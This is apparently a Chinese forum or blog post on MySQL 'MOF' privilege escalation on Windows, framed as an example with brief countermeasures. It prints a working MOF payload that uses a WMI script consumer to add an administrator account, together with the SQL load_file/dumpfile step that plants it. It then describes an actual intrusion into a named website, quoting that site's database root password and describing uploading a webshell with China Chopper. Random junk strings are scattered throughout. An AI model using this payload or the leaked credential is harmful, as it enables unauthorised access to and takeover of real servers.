Mysql mof扩展漏洞实例与防范

admin

Mysql mof扩展漏洞防范方法
, k, o: q) J+ i2 {0 D
' M6 ?/ w/ Q4 |' N; X0 }网上公开的一些利用代码:

#pragma namespace(“\\\\.\\root\\subscription”)
) {' u4 i6 s# I: {2 J
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
( t( @) _) G! {8 H2 A


# C. ]/ }% l* Q" ]9 a
3 W" G4 c* I& `) U/ H( J- k
连接mysql数据库后执行： select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
从上面代码来看得出解决办法：

% `1 H3 R$ X  s9 @5 O5 o1、mysql用户权限控制，禁止 “load_file”、”dumpfile”等函数

( G+ ?7 k' q& x2、禁止使用”WScript.Shel”组件

3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
+ R6 r1 V' o6 C8 \0 H
/ l6 M' q5 J$ [: f当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下

' F% [  O& @6 |/ J; S/ N事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
- n4 }) }$ q, g
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容

; }/ B- \  t) s/ U3 U看懂了后就开始练手吧
1 ^; z( |1 }; |$ a" x
9 y" @# U/ a, I9 ?" [( p2 fhttp://www.webbmw.com/config/config_ucenter.php 一句话 a

$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
- |9 S! B3 `5 d( ~7 }2 U  L
于是直接用菜刀开搞

上马先

既然有了那些账号 之类的 于是我们就执行吧…….
3 h# G. [$ R+ r
小小的说下

- l$ C5 D. c" V: F8 L在这里第1次执行未成功        原因未知

1 Z+ \2 W6 ^6 }  v% K: H9 s* Q' S( N我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
( m9 G2 o( u2 @- r
#pragma namespace(“\\\\.\\root\\subscription”)

5 _3 E0 F- Q3 ^( Oinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };

2 C+ e1 }1 L4 Y; W, a我是将文件放到C:\WINDOWS\temp\1.mof

所以我们就改下执行的代码
8 E( K% L( O8 j) m% v) b
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
: }, `% X% y5 }* K) n6 i; t) k

7 t9 j, D$ g1 W/ o9 B- R
但是 你会发现账号还是没有躺在那里。。

于是我就感觉蛋疼
) \& ~' E  W; @" N/ ]
+ Y3 f+ I; Y% I3 D- q. e1 u  y, W就去一个一个去执行 但是执行到第2个 mysql时就成功了………
4 H  U, `. i0 F6 B7 h9 l0 I9 K

4 \& h9 D) l% ]  H! I: ^% O; t
) c6 Z4 B2 ^1 k但是其他库均不成功…

9 x4 }& V; X4 N& @; s. k/ B我就很费解呀 到底为什么不成功求大牛解答…
3 K' x3 G! {6 b1 a( Q
​

- i' W  Z8 K* |4 a7 O